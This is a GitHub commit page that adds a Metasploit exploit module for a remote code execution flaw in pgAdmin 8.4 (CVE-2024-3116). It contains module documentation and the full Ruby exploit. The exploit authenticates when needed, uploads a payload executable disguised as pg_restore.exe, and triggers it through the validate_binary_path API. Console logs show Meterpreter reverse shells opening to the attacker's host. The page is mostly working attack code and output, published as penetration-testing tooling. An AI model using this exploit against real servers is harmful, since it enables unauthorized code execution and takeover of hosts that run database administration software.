Skip to content

Commit

Permalink
Land #19422, pgAdmin 8.4 RCE / CVE-2024-3116
Browse files Browse the repository at this point in the history
  • Loading branch information
adfoster-r7 authored Aug 28, 2024
2 parents ab4bc03 + aaf95f9 commit fabb5d1
Show file tree
Hide file tree
Showing 2 changed files with 337 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
## Vulnerable Application
The pgAdmin versions up to 8.4 are vulnerable to a Remote Code Execution (RCE) flaw through the validate binary path API.
This vulnerability allows attackers to run arbitrary code on the server hosting pgAdmin, which poses a significant
threat to the integrity of the database management system and the security of its underlying data.

The exploit can be executed in both authenticated and unauthenticated scenarios. When valid credentials are available,
Metasploit can log in to pgAdmin, upload a malicious payload using the file management plugin, and then execute it via
the validate_binary_path endpoint. This vulnerability is specific to Windows targets. If authentication is not required
by the application, Metasploit can directly upload and trigger the payload through the validate_binary_path endpoint.

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/multi/http/pgadmin_binary_path_api`
1. Set the `RHOST`, `PAYLOAD`, and optionally the `USERNAME` and `PASSWORD` options
1. Do: `run`


### Installation (Windows)

These steps are the bare minimum to get the application to run for testing and should not be use for a production setup.
For a production setup, a server like Apache should be setup to run pgAdmin through it's WSGI interface.

**The following paths are all relative to the default installation path `C:\Program Files\pgAdmin 4\web`**.

1. [Download][1] and install the Windows build
1. Copy the `config_distro.py` file to `config_local.py`
1. Edit `config_local.py` and set `SERVER_MODE` to `True`
1. Edit `config_local.py` and add `DEFAULT_SERVER = '0.0.0.0'` to bind on all IPs, required for remotely exploiting from a different machine
1. Initialize the database: `..\python\python.exe setup.py setup-db`
1. Create an initial user account: `..\python\python.exe setup.py add-user --admin [email protected] 123456`
1. Run the application: `..\python\python.exe pgAdmin4.py`

## Scenarios
Specific demo of using the module that might be useful in a real world scenario.

### pgAdmin 8.4 on Windows (Authenticated)

```
msf6 exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.5
RHOSTS => 192.168.1.5
msf6 exploit(windows/http/pgadmin_binary_path_api) > set USERNAME [email protected]
USERNAME => [email protected]
msf6 exploit(windows/http/pgadmin_binary_path_api) > set PASSWORD 123456
PASSWORD => 123456
msf6 exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6
LHOST => 192.168.1.6
msf6 exploit(windows/http/pgadmin_binary_path_api) > exploit
[*] Started reverse TCP handler on 192.168.1.6:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. pgAdmin version 8.4.0 is affected
[*] Successfully authenticated to pgAdmin
[*] Payload uploaded to: C:\Users\pgAdmin\Desktop\CVE-2024-3116\pgadmin4\storage\test_test.com/pg_restore.exe
[*] Sending stage (201798 bytes) to 192.168.1.5
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:52588) at 2024-08-26 19:48:10 +0200
[!] This exploit may require manual cleanup of 'C:\Users\pgAdmin\Desktop\CVE-2024-3116\pgadmin4\storage\test_test.com/pg_restore.exe' on the target
meterpreter > sysinfo
Computer : DESKTOP-FMNV75N
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```

### pgAdmin 8.4 on Windows (Unauthenticated)

```
msf6 exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.7
RHOSTS => 192.168.1.7
msf6 exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6
LHOST => 192.168.1.6
msf6 exploit(windows/http/pgadmin_binary_path_api) > exploit
[*] Started reverse TCP handler on 192.168.1.6:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. pgAdmin version 8.4.0 is affected
[*] Payload uploaded to: C:\Users\pgAdmin\pg_restore.exe
[*] Sending stage (200774 bytes) to 192.168.1.7
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.7:55560) at 2024-08-26 19:51:01 +0200
[!] This exploit may require manual cleanup of 'C:\Users\pgAdmin\pg_restore.exe' on the target
meterpreter > sysinfo
Computer : DESKTOP-HTGS43E
OS : Windows 10 (10.0 Build 22000).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
```
238 changes: 238 additions & 0 deletions modules/exploits/windows/http/pgadmin_binary_path_api.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,238 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'pgAdmin Binary Path API RCE',
'Description' => %q{
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)
vulnerability through the validate binary path API. This vulnerability
allows attackers to execute arbitrary code on the server hosting PGAdmin,
posing a severe risk to the database management system's integrity and the security of the underlying data.
Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated.
},
'License' => MSF_LICENSE,
'Author' => [
'M.Selim Karahan', # metasploit module
'Mustafa Mutlu', # lab prep. and QA
'Ayoub Mokhtar' # vulnerability discovery and write up
],
'References' => [
[ 'CVE', '2024-3116'],
[ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'],
[ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116']
],
'Platform' => ['windows'],
'Arch' => ARCH_X64,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2024-03-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'Reliability' => [ REPEATABLE_SESSION, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
}
)
)
register_options(
[
Opt::RPORT(8000),
OptString.new('USERNAME', [ false, 'User to login with', '']),
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/'])
]
)
end

def check
version = get_version
return CheckCode::Unknown('Unable to determine the target version') unless version
return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.5')

CheckCode::Vulnerable("pgAdmin version #{version} is affected")
end

def set_csrf_token_from_login_page(res)
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
@csrf_token = Regexp.last_match(1)
# at some point between v7.0 and 7.7 the token format changed
elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)
@csrf_token = element['value']
end
end

def set_csrf_token_from_config(res)
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
@csrf_token = Regexp.last_match(1)
# at some point between v7.0 and 7.7 the token format changed
else
@csrf_token = res.body.scan(/pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'/)&.flatten&.first
end
end

def auth_required?
res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'keep_cookies' => true)
if res&.code == 302 && res.headers['Location']['login']
true
elsif res&.code == 302 && res.headers['Location']['browser']
false
end
end

def on_windows?
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)
if res&.code == 200
platform = res.body.scan(/pgAdmin\['platform'\]\s*=\s*'([^']+)';/)&.flatten&.first
return platform == 'win32'
end
end

def get_version
if auth_required?
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
else
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/'), 'keep_cookies' => true)
end
html_document = res&.get_html_document
return unless html_document && html_document.xpath('//title').text == 'pgAdmin 4'

# there's multiple links in the HTML that expose the version number in the [X]XYYZZ,
# see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27
versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }
return unless versioned_link

Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")
end

def csrf_token
return @csrf_token if @csrf_token

if auth_required?
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
set_csrf_token_from_login_page(res)
else
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)
set_csrf_token_from_config(res)
end
fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token
@csrf_token
end

def exploit
if auth_required? && !(datastore['USERNAME'].present? && datastore['PASSWORD'].present?)
fail_with(Failure::BadConfig, 'The application requires authentication, please provide valid credentials')
end

if auth_required?
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'csrf_token' => csrf_token,
'email' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'language' => 'en',
'internal_button' => 'Login'
}
})

unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')
fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')
end

print_status('Successfully authenticated to pgAdmin')
end

unless on_windows?
fail_with(Failure::BadConfig, 'This exploit is specific to Windows targets!')
end
file_name = 'pg_restore.exe'
file_manager_upload_and_trigger(file_name, generate_payload_exe)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

# file manager code is copied from pgadmin_session_deserialization module

def file_manager_init
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
'data' => {
'dialog_type' => 'storage_dialog',
'supported_types' => ['sql', 'csv', 'json', '*'],
'dialog_title' => 'Storage Manager'
}.to_json
})

unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) && (home_folder = res.get_json_document.dig('data', 'options', 'homedir'))
fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction Id or home folder')
end

return trans_id, home_folder
end

def file_manager_upload_and_trigger(file_path, file_contents)
trans_id, home_folder = file_manager_init

form = Rex::MIME::Message.new
form.add_part(
file_contents,
'application/octet-stream',
'binary',
"form-data; name=\"newfile\"; filename=\"#{file_path}\""
)
form.add_part('add', nil, nil, 'form-data; name="mode"')
form.add_part(home_folder, nil, nil, 'form-data; name="currentpath"')
form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
'data' => form.to_s
})
unless res&.code == 200 && res.get_json_document['success'] == 1
fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')
end

upload_path = res.get_json_document.dig('data', 'result', 'Name')
register_file_for_cleanup(upload_path)
print_status("Payload uploaded to: #{upload_path}")

send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
'data' => {
'utility_path' => upload_path[0..upload_path.size - 16]
}.to_json
})

true
end

end

0 comments on commit fabb5d1

Please sign in to comment.